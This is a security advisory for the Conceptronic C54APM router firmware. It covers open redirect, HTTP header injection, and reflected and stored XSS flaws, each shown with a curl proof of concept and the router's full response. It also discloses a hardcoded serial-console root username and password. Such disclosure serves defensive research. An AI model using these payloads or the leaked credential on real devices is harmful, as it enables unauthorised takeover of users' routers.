Identifiers:

CVE-2014-1405, CVE-2014-1406, CVE-2014-1407, CVE-2014-1408
OSVDB: 101916, 101917, 101918, 101919, 101920, 101921

Device description:

Device datasheet can be downloaded from the product webpage:
http://www.conceptronic.net/es/download_list.php?stype=3&productid=341

Vulnerable firmware releases:

Device Name: C54APM
Vendor: Conceptronic
Hardware Version: v2
Runtime Code Version: v1.26

Vulnerability overview:

1. URL redirection:
   - If *submit-url* parameter is provided in */goform/formWlSiteSurvey* a location header will be put in the response so the page will get redirected.
   - Note that the *refresh* parameter is needed with the value *Refresh*.
   - A possible fix would be fixed redirecting to */wlsurvey2.asp* as it is the only place on where this is used but there are many other better solutions.

```
curl -v "http://admin:admin@192.168.2.1/goform/formWlSiteSurvey?
refresh=Refresh&submit-url=http://google.com/"
* About to connect() to 192.168.2.1 port 80 (#0)
*   Trying 192.168.2.1...
* Adding handle: conn: 0xcb02a0
* Adding handle: send: 0
* Adding handle: recv: 0
* Curl_addHandleToPipeline: length: 1
* - Conn 0 (0xcb02a0) send_pipe: 1, recv_pipe: 0
* Connected to 192.168.2.1 (192.168.2.1) port 80 (#0)
* Server auth using Basic with user 'admin'
> GET /goform/formWlSiteSurvey?refresh=Refresh&submit-
url=http://google.com/ HTTP/1.1
> Authorization: Basic YWRtaW46YWRtaW4=
> User-Agent: curl/7.30.0
> Host: 192.168.2.1
> Accept: */*
>
* HTTP 1.0, assume close after body
< HTTP/1.0 302 Redirect
< Server: GoAhead-Webs
< Date: Sat Jan  1 00:08:34 2000
< Pragma: no-cache
< Cache-Control: no-cache
< Content-Type: text/html
< Location: http://google.com/
<
<html><head></head><body>
```

```
                This document has moved to a new <a
href="http://google.com/">location</a>.
                Please update your documents to reflect the new
location.
                </body></html>
* Closing connection 0
```

2. Http header injection:
   - The parameter *submit-url* in form */goform/formWlSiteSurvey* is not properly validated so newline characters can be used for http header injection and not only relocation.
   - Note that the *refresh* parameter is needed with the value *Refresh*.
   - A possible solution is explained in the previous vulnerability.

```
curl -v "http://admin:admin@192.168.2.1/goform/formWlSiteSurvey?
refresh=Refresh&submit-url=/wlsurvey2.asp%0d%0aNew%20Header:%20PWND"
* About to connect() to 192.168.2.1 port 80 (#0)
*   Trying 192.168.2.1...
* Adding handle: conn: 0x1e5f340
* Adding handle: send: 0
* Adding handle: recv: 0
* Curl_addHandleToPipeline: length: 1
* - Conn 0 (0x1e5f340) send_pipe: 1, recv_pipe: 0
* Connected to 192.168.2.1 (192.168.2.1) port 80 (#0)
* Server auth using Basic with user 'admin'
> GET /goform/formWlSiteSurvey?refresh=Refresh&submit-
url=/wlsurvey2.asp%0d%0aNew%20Header:%20PWND HTTP/1.1
> Authorization: Basic YWRtaW46YWRtaW4=
> User-Agent: curl/7.30.0
> Host: 192.168.2.1
> Accept: */*
>
* HTTP 1.0, assume close after body
< HTTP/1.0 302 Redirect
< Server: GoAhead-Webs
< Date: Sat Jan  1 00:26:07 2000
< Pragma: no-cache
< Cache-Control: no-cache
< Content-Type: text/html
< Location: http://192.168.2.1/wlsurvey2.asp
< New Header: PWND
<
<html><head></head><body>
                This document has moved to a new <a
href="http://192.168.2.1/wlsurvey2.asp
New Header: PWND">location</a>.
                Please update your documents to reflect the new
location.
                </body></html>
* Closing connection 0
```

3. Reflected XSS:
   - The parameter *submit-url* in form */goform/formWlSiteSurvey* is not properly validated so html tags can be injected in the return webpage.
   - Note that the *refresh* parameter is needed with the value *Refresh*.
   - A possible solution is explained in vulnerability number 1.

```
curl -v 'http://admin:admin@192.168.2.1/goform/formWlSiteSurvey?
refresh=Refresh&submit-url="><script>alert('XSSed')</script>'
* About to connect() to 192.168.2.1 port 80 (#0)
*   Trying 192.168.2.1...
* Adding handle: conn: 0x123b2f0
* Adding handle: send: 0
* Adding handle: recv: 0
* Curl_addHandleToPipeline: length: 1
* - Conn 0 (0x123b2f0) send_pipe: 1, recv_pipe: 0
* Connected to 192.168.2.1 (192.168.2.1) port 80 (#0)
* Server auth using Basic with user 'admin'
> GET /goform/formWlSiteSurvey?refresh=Refresh&submit-
url="><script>alert(XSSed)</script> HTTP/1.1
> Authorization: Basic YWRtaW46YWRtaW4=
> User-Agent: curl/7.30.0
> Host: 192.168.2.1
> Accept: */*
>
* HTTP 1.0, assume close after body
< HTTP/1.0 302 Redirect
< Server: GoAhead-Webs
< Date: Sat Jan  1 00:52:52 2000
< Pragma: no-cache
< Cache-Control: no-cache
< Content-Type: text/html
< Location: http://192.168.2.1/"><script>alert(XSSed)</script>
<
<html><head></head><body>
                This document has moved to a new <a
href="http://192.168.2.1/"><script>alert(XSSed)</script>">location</a>.
                Please update your documents to reflect the new
location.
                </body></html>
* Closing connection 0
```

4. URL redirection:
   - If *wlan-url* parameter is provided in */goform/formWlanSetup* it will be written as the redirection address in the answer.
   - A possible fix would be fixed redirecting to */wlbasic.asp* as it is the only place on where this is used but there are many other better solutions.

```
curl -v 'http://admin:admin@192.168.2.1/goform/formWlanSetup?wlan-
url=http://google.com/'
* About to connect() to 192.168.2.1 port 80 (#0)
*   Trying 192.168.2.1...
* Adding handle: conn: 0xb2c250
* Adding handle: send: 0
* Adding handle: recv: 0
* Curl_addHandleToPipeline: length: 1
* - Conn 0 (0xb2c250) send_pipe: 1, recv_pipe: 0
* Connected to 192.168.2.1 (192.168.2.1) port 80 (#0)
* Server auth using Basic with user 'admin'
> GET /goform/formWlanSetup?wlan-url=http://google.com/ HTTP/1.1
> Authorization: Basic YWRtaW46YWRtaW4=
> User-Agent: curl/7.30.0
> Host: 192.168.2.1
> Accept: */*
>
* HTTP 1.0, assume close after body
< HTTP/1.0 200 OK
< Server: GoAhead-Webs
< Pragma: no-cache
< Cache-control: no-cache
< Content-Type: text/html
```

```
<
<html>
<head><link rel="stylesheet" href="/set.css"></head>
<body class="bground"><blockquote><h4>Settings saved successfully!</h4>
<font size=2 class="textcolor">You may press CONTINUE button to
continue configuring other settings or press APPLY button to restart
the system for changes to take effect</font><BR><BR><BR>
<form method=POST action="/goform/formApply" name=okform>
<a href=javascript:window.location.replace("http://google.com/")><img
src="/graphics/continue1.gif" border=0></a>
<input type=hidden name="submit-url" value="http://google.com/">
<input type=image
src="/graphics/apply1.gif"></form></blockquote></body></html>
* Closing connection 0
```

5. Reflected XSS:
   - The parameter *wlan-url* in form */goform/formWlanSetup* is not properly validated so html tags can be injected in the return webpage.
   - Possible solution explained in vulnerability number 4.

```
curl -v 'http://admin:admin@192.168.2.1/goform/formWlanSetup?wlan-url=
%3E%3Cscript%3Ealert%28%27XSSed%27%29%3C/script%3E'
* About to connect() to 192.168.2.1 port 80 (#0)
*   Trying 192.168.2.1...
* Adding handle: conn: 0x22bb2f0
* Adding handle: send: 0
* Adding handle: recv: 0
* Curl_addHandleToPipeline: length: 1
* - Conn 0 (0x22bb2f0) send_pipe: 1, recv_pipe: 0
* Connected to 192.168.2.1 (192.168.2.1) port 80 (#0)
* Server auth using Basic with user 'admin'
> GET /goform/formWlanSetup?wlan-url=%3E%3Cscript%3Ealert%28%27XSSed
%27%29%3C/script%3E HTTP/1.1
> Authorization: Basic YWRtaW46YWRtaW4=
> User-Agent: curl/7.30.0
> Host: 192.168.2.1
> Accept: */*
>
* HTTP 1.0, assume close after body
< HTTP/1.0 200 OK
< Server: GoAhead-Webs
< Pragma: no-cache
< Cache-control: no-cache
< Content-Type: text/html
<
<html>
<head><link rel="stylesheet" href="/set.css"></head>
<body class="bground"><blockquote><h4>Settings saved successfully!</h4>
<font size=2 class="textcolor">You may press CONTINUE button to
continue configuring other settings or press APPLY button to restart
the system for changes to take effect</font><BR><BR><BR>
<form method=POST action="/goform/formApply" name=okform>
<a
href=javascript:window.location.replace("><script>alert('XSSed')</scrip
t>")><img src="/graphics/continue1.gif" border=0></a>
<input type=hidden name="submit-url"
value="><script>alert('XSSed')</script>">
<input type=image
src="/graphics/apply1.gif"></form></blockquote></body></html>
* Closing connection 0
```

6. Stored XSS:
   - The parameter *ssid* in form */goform/formWlanSetup* is not properly validated so code can be injected.
   - A possible solution would be proper validation of this field.

```
curl -v 'http://admin:admin@192.168.2.1/goform/formWlanSetup?wlan-url=
%2Fwlbasic.asp&ssid=%22%3E%3Cimg+src%3D%220%22+onerror%3Dalert
%281%29%3E'
* About to connect() to 192.168.2.1 port 80 (#0)
*   Trying 192.168.2.1...
* Adding handle: conn: 0x9f3340
* Adding handle: send: 0
* Adding handle: recv: 0
* Curl_addHandleToPipeline: length: 1
* - Conn 0 (0x9f3340) send_pipe: 1, recv_pipe: 0
* Connected to 192.168.2.1 (192.168.2.1) port 80 (#0)
* Server auth using Basic with user 'admin'
> GET /goform/formWlanSetup?wlan-url=%2Fwlbasic.asp&ssid=%22%3E
%3Cimg+src%3D%220%22+onerror%3Dalert%281%29%3E HTTP/1.1
> Authorization: Basic YWRtaW46YWRtaW4=
> User-Agent: curl/7.30.0
> Host: 192.168.2.1
> Accept: */*
>
* HTTP 1.0, assume close after body
< HTTP/1.0 200 OK
< Server: GoAhead-Webs
< Pragma: no-cache
< Cache-control: no-cache
< Content-Type: text/html
<
<html>
<head><link rel="stylesheet" href="/set.css"></head>
<body class="bground"><blockquote><h4>Settings saved successfully!</h4>
<font size=2 class="textcolor">You may press CONTINUE button to
continue configuring other settings or press APPLY button to restart
the system for changes to take effect</font><BR><BR><BR>
<form method=POST action="/goform/formApply" name=okform>
<a href=javascript:window.location.replace("/wlbasic.asp")><img
src="/graphics/continue1.gif" border=0></a>
<input type=hidden name="submit-url" value="/wlbasic.asp">
<input type=image
src="/graphics/apply1.gif"></form></blockquote></body></html>
* Closing connection 0

curl -v 'http://admin:admin@192.168.2.1/wlbasic.asp'
* About to connect() to 192.168.2.1 port 80 (#0)
*   Trying 192.168.2.1...
* Adding handle: conn: 0x67e1b0
* Adding handle: send: 0
* Adding handle: recv: 0
* Curl_addHandleToPipeline: length: 1
* - Conn 0 (0x67e1b0) send_pipe: 1, recv_pipe: 0
* Connected to 192.168.2.1 (192.168.2.1) port 80 (#0)
* Server auth using Basic with user 'admin'
```

```
> GET /wlbasic.asp HTTP/1.1
> Authorization: Basic YWRtaW46YWRtaW4=
> User-Agent: curl/7.30.0
> Host: 192.168.2.1
> Accept: */*
>
* HTTP 1.0, assume close after body
< HTTP/1.0 200 OK
< Date: Sat Jan  1 00:33:42 2000
< Server: GoAhead-Webs
< Pragma: no-cache
< Cache-Control: no-cache
< Content-type: text/html
<
<html>
[...]
<span id="ssidId" style="display:none">
<table border=0 width="470" cellspacing=3>
      <tr><td width="35%" class="table1"><font size=2>ESSID
:&nbsp;</td>
      <td width="65%" class="table2"><font size=2>&nbsp;<input
type="text" name="ssid" size="25" maxlength="32" value=""><img src="0"
onerror=alert(1)>"></td></tr>
</table></span>
[..]
</html>
* Closing connection 0
```

7. Stored XSS:
   - The parameter *DomainName* in form */goform/formTcpipSetup* is not properly validated so code can be injected.
   - A possible solution would be proper validation of this field.

```
curl -v 'http://admin:admin@192.168.2.1/goform/formTcpipSetup?submit-
url=%2Fsysutility.asp&DomainName="><script>alert(2)</script>'
* About to connect() to 192.168.2.1 port 80 (#0)
*   Trying 192.168.2.1...
* Adding handle: conn: 0x171a340
* Adding handle: send: 0
* Adding handle: recv: 0
* Curl_addHandleToPipeline: length: 1
* - Conn 0 (0x171a340) send_pipe: 1, recv_pipe: 0
* Connected to 192.168.2.1 (192.168.2.1) port 80 (#0)
* Server auth using Basic with user 'admin'
> GET /goform/formTcpipSetup?submit-url=
%2Fsysutility.asp&DomainName="><script>alert(2)</script> HTTP/1.1
> Authorization: Basic YWRtaW46YWRtaW4=
> User-Agent: curl/7.30.0
> Host: 192.168.2.1
> Accept: */*
>
* HTTP 1.0, assume close after body
< HTTP/1.0 200 OK
< Server: GoAhead-Webs
< Pragma: no-cache
< Cache-control: no-cache
< Content-Type: text/html
<
<html>
<head><link rel="stylesheet" href="/set.css"></head>
<body class="bground"><blockquote><h4>Settings saved successfully!</h4>
```

```
<font size=2 class="textcolor">You may press CONTINUE button to
continue configuring other settings or press APPLY button to restart
the system for changes to take effect</font><BR><BR><BR>
<form method=POST action="/goform/formApply" name=okform>
<a href=javascript:window.location.replace("/sysutility.asp")><img
src="/graphics/continue1.gif" border=0></a>
<input type=hidden name="submit-url" value="/sysutility.asp">
<input type=image
src="/graphics/apply1.gif"></form></blockquote></body></html>
* Closing connection 0

curl -v 'http://admin:admin@192.168.2.1/sysutility.asp'
* About to connect() to 192.168.2.1 port 80 (#0)
*   Trying 192.168.2.1...
* Adding handle: conn: 0x10471b0
* Adding handle: send: 0
* Adding handle: recv: 0
* Curl_addHandleToPipeline: length: 1
* - Conn 0 (0x10471b0) send_pipe: 1, recv_pipe: 0
* Connected to 192.168.2.1 (192.168.2.1) port 80 (#0)
* Server auth using Basic with user 'admin'
> GET /sysutility.asp HTTP/1.1
> Authorization: Basic YWRtaW46YWRtaW4=
> User-Agent: curl/7.30.0
> Host: 192.168.2.1
> Accept: */*
>
* HTTP 1.0, assume close after body
< HTTP/1.0 200 OK
< Date: Sat Jan  1 02:09:06 2000
< Server: GoAhead-Webs
< Pragma: no-cache
< Cache-Control: no-cache
< Content-type: text/html
<
<html>
[...]
<tr>
  <td class="table1" nowrap>
  <font size="2">Domain Name :</font></td>
  <td class="table2" nowrap>
  <input TYPE="text" NAME="DomainName" MAXLENGTH="30" SIZE="20"
VALUE=""><script>alert(2)</script>"></td>
</tr>
[...]
</html>
* Closing connection 0
```

Other notes:

Serial port can easily be found and used to manipulate the device.
Using reverse engineering of an update package of this router a file called *“setup”* used for managing access through UART port can be found. Little effort is needed to reverse the user and password that leads to a root shell. This user *“super”* and password *“@gogolinux”* are almost stored in plain text.
A bit more complex encryption of the password may be a good idea. That should restrict access to sensible information that may lead to further exploiting of the device.

To be done:

Many other form parameters must be checked and correctly sanitized. I could find much more XSS related vulnerabilities but listing them here is useless.

Solution:

No known solution available.

Credits:

The vulnerability was discovered by Antonio Vázquez Blanco
Mail: antoniovazquezblanco@gmail.com
Twitter: @antonvazquezb

Thanks to Rafael Palacios Hielscher and ICAI for their support and help.

Time line:

June/July 2013 – Discovered the vulnerability.
30 October 2013 – Reported vulnerability to INTECO-CERT.
31 October 2013 – Ticket reference is given #655571.
31 October 2013 – INTECO contacts the manufacturer.
7 January 2014 – NCSC-NL and ITECO have no response. I get confirmation for publishing the advisory.